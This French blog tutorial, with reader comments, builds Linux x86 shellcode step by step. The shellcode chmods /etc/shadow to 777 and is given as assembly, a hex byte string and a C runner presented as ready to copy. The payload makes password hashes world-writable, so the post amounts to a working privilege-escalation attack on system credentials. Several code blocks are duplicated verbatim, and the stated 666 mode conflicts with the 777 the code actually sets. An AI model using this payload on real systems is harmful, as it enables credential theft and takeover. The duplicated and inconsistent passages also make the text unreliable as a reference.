Alors on va réaliser un petit shellcode qui effectue un "chmod 666 /etc/shadow".
Nous allons pour cela procéder par étapes:
1] Repérer le(s) appel(s) Système à utiliser.
Pour ca on va lire le fichier /usr/include/asm/unistd.h (ou regarder ici : unistd.h)
Voyons donc ce que nous renvoye un "cat /usr/include/asm/unistd.h |grep chmod":
sm0k3@localhost ~/Trash $ cat /usr/include/asm/unistd.h |grep chmod
#define __NR_chmod 15
#define __NR_fchmod 94
#define __NR_fchmodat 306
EDIT: Je vous conseille d'utiliser http://syscalls.kernelgrok.com/ au lieu de unistd.h, beaucoup plus pratique, vous en conviendrez!
On voit donc que l'identifiant de chmod est 15, notons bien ce chiffre.
2] Programmer notre Shellcode
xor %eax,%eax ; On met 0 dans eax
push %eax ; On dépose ce 0 sur la pile
mov $0xf,%al ; On met 0xf (15 quoi) dans al (partie basse de ax, lui meme partie basse de eax)
push $0x776f6461 ; On dépose "/etc/shadow" sur la pile
push $0x68732f63 ; Le 0 posé précedemment sert à terminer cette chaine
push $0x74652f2f ; (souvenez vous de \0 en C)
mov %esp,%ebx ; On stocke l'adresse de la chaine que l'on vient de poser sur la pile dans ebx
xor %ecx,%ecx ; On met 0 dans ecx
mov $0x1ff,%cx ; On met 0x1ff (777 en base octale) dans cx (partie basse de ecx)
int $0x80 ; On apelle l'interruption [donc chmod("/etc/shadow",777)] Note: 666 aurait suffit mais bon
inc %eax ; Comme chmod met 0 dans eax lorsqu'il réussi, on incrémente eax de 1 pour utiliser l'interruption exit
int $0x80 ; On apelle l'interruption
push %eax ; On dépose ce 0 sur la pile
mov $0xf,%al ; On met 0xf (15 quoi) dans al (partie basse de ax, lui meme partie basse de eax)
push $0x776f6461 ; On dépose "/etc/shadow" sur la pile
push $0x68732f63 ; Le 0 posé précedemment sert à terminer cette chaine
push $0x74652f2f ; (souvenez vous de \0 en C)
mov %esp,%ebx ; On stocke l'adresse de la chaine que l'on vient de poser sur la pile dans ebx
xor %ecx,%ecx ; On met 0 dans ecx
mov $0x1ff,%cx ; On met 0x1ff (777 en base octale) dans cx (partie basse de ecx)
int $0x80 ; On apelle l'interruption [donc chmod("/etc/shadow",777)] Note: 666 aurait suffit mais bon
inc %eax ; Comme chmod met 0 dans eax lorsqu'il réussi, on incrémente eax de 1 pour utiliser l'interruption exit
int $0x80 ; On apelle l'interruption
3] Assembler & Linker tout ca
$ as -o shellcode.o shellcode.asm
$ ld -o shellcode shellcode.o
$ ld -o shellcode shellcode.o
4] Notre Shellcode
On voit bien notre shellcode sur la partie gauche de l'image, pret a etre recopié :)
#include "stdio.h"
int main(int argc, char *argv[])
{
char shellcode[] ="\x31\xc0\x50\xb0\x0f\x68\x61\x64\x6f\x77\x68\x63\x2f\x73\x68\x68\x2f\x2f\x65\x74\x89\xe3\x31\xc9\x66\xb9\xff\x01\xcd\x80\x40\xcd\x80";
printf("Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}
int main(int argc, char *argv[])
{
char shellcode[] ="\x31\xc0\x50\xb0\x0f\x68\x61\x64\x6f\x77\x68\x63\x2f\x73\x68\x68\x2f\x2f\x65\x74\x89\xe3\x31\xc9\x66\xb9\xff\x01\xcd\x80\x40\xcd\x80";
printf("Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}
Et voila :) have fun!
8 commentaires:
Tu me manques, mon p'tit bichon. Bouhouhou j'suis malheureux.
</deconne>
Salut, prédecesseur ! J'ai pas encore lu ton article, mais t'inquiète que ça m'intéressera tôt ou tard.
Allez, à la prochaine. ;)
Geo'
Très bien fait ton article, j'aurais juste besoin d'une petite précision :
push $0x776f6461 ; On dépose "/etc/passwd sur la pile"
push $0x68732f63 ; Le 0 posé précedemment sert à terminer cette chaine
push $0x74652f2f ; (souvenez vous de \0 en C)
J'ai bien comprit l'histoire du \0 en C. Seul truc, pourquoi faire un push $0x776f6461 ? je comprends pas pourquoi ça dépose /etc/passwd sur la pile ?
Les deux autres push's sont là pour le \0 ?
Merci d'avance,
A+
Hello, donc ce sont les 3 lignes qui déposent "/etc/shadow" sur la pile:
push $0x776f6461
; Dépose "woda"
push $0x68732f63
; Dépose "hs/c"
push $0x74652f2f
; Dépose "te//"
Tu remarqueras qu'on double le premier / pour que la chaine de caractères remplisse bien les 3 mots mémoire( je pense qu'il est aussi possible de mettre des espaces en fin de chaine pour arriver au même résultat, mais je n'ai pas testé)
Byebye!
Mmmh d'accord, niquel ben merci beaucoup pour l'explication, super sympa ;)
géniale merci vos travaux sont très intéressant.
Merci du compliment :) j'espere reposter un jour si mon boulot m'en laisse le temps...
Désolé de déterrer l'article qui date de 2009, mais pour les litlle endian, il faudrait pas le préciser à objdump ou c'est la même chose ?
Yo,
-EL
--endian={big|little}
Specify the endianness of the object files. This only affects disassembly. This can be useful when disassembling a file format which does not describe endianness information, such as S-records.
D'après la dernière phrase, logiquement objdump s'adapte, mais tu peux toujours le spécifier toi même :)
Et pas de pb pour le déterrage de post!
Enregistrer un commentaire